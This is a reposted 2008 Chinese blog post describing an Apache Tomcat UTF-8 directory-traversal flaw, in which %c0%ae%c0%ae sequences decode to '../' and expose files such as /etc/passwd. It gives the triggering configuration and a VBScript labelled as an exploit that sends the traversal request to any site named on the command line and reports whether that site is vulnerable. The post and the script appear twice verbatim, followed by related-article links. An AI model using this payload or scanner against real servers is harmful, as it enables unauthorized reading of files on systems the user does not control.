Apache Tomcat UTF-8编码漏洞
2008-08-13 08:34
399 查看
from:http://www.cnblogs.com/Safe3/
呵呵,Apache Tomcat出了一个类似当年IIS url 编码的漏洞。既然CVE已经已经公布了,我也来发一下吧!
漏洞发生在Apache Tomcat处理UTF-8编码时,没有正确转换,从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式,使得可以遍历系统任意文件,包括
/etc/passwd等
触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项
漏洞测试代码如下:
Dim strUrl,strSite
showB()
Set Args = Wscript.Arguments
If Args.Count <> 1 Then
ShowU()
Else
strSite=Args(0)
End If
strUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET",strSite & strUrl, False
objXML.SetRequestHeader "Referer", strSite
objXML.send()
if objXML.status=200 then
wscript.echo("存在漏洞")
end if
Sub showB()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Exploit Apache Tomcat UTF-8")
.Echo("Code By Safe3")
.Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("用法:")
.Echo(" cscript "&.ScriptName&" site")
.Echo("例子:")
.Echo(" cscript "&.ScriptName&" http://www.example.com >result.txt")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub
呵呵,Apache Tomcat出了一个类似当年IIS url 编码的漏洞。既然CVE已经已经公布了,我也来发一下吧!
漏洞发生在Apache Tomcat处理UTF-8编码时,没有正确转换,从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式,使得可以遍历系统任意文件,包括
/etc/passwd等
触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项
漏洞测试代码如下:
Dim strUrl,strSite
showB()
Set Args = Wscript.Arguments
If Args.Count <> 1 Then
ShowU()
Else
strSite=Args(0)
End If
strUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET",strSite & strUrl, False
objXML.SetRequestHeader "Referer", strSite
objXML.send()
if objXML.status=200 then
wscript.echo("存在漏洞")
end if
Sub showB()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Exploit Apache Tomcat UTF-8")
.Echo("Code By Safe3")
.Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("用法:")
.Echo(" cscript "&.ScriptName&" site")
.Echo("例子:")
.Echo(" cscript "&.ScriptName&" http://www.example.com >result.txt")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub
相关文章推荐
- Apache Tomcat UTF-8编码漏洞[转载至邪恶八进制]
- Apache Tomcat UTF-8编码漏洞
- Apache+Tomcat中支持“UTF-8”编码的中文地址
- Apache+Tomcat中支持“UTF-8”编码的中文地址(转)
- 配置Apache和Tomcat使用UTF-8编码
- Spring/Tomcat Rest开发 配置UTF-8编码
- Tomcat之——接收UTF-8编码GET参数请求配置
- 设置Tomcat编码(UTF-8)
- Java项目乱码及设置Tomcat的UTF-8编码
- tomcat 接受编码变utf-8
- 设置Tomcat的UTF-8编码
- tomcat中存放含有中文的文件访问不到解决办法(设置Tomcat的UTF-8编码)
- [Tomcat]IDEA设置jvm编码UTF-8导致控制台乱码(读文件乱码)
- 设置Tomcat的UTF-8编码
- 设置Tomcat的UTF-8编码
- Tomcat UTF-8 编码设置
- Tomcat7.0/8.0 详细安装配置图解,以及UTF-8编码配置
- 设置Tomcat的UTF-8编码
- Base64编码实现二---使用org.apache.tomcat.util.codec.binary.Base64实现Base64
- 设置Tomcat的UTF-8编码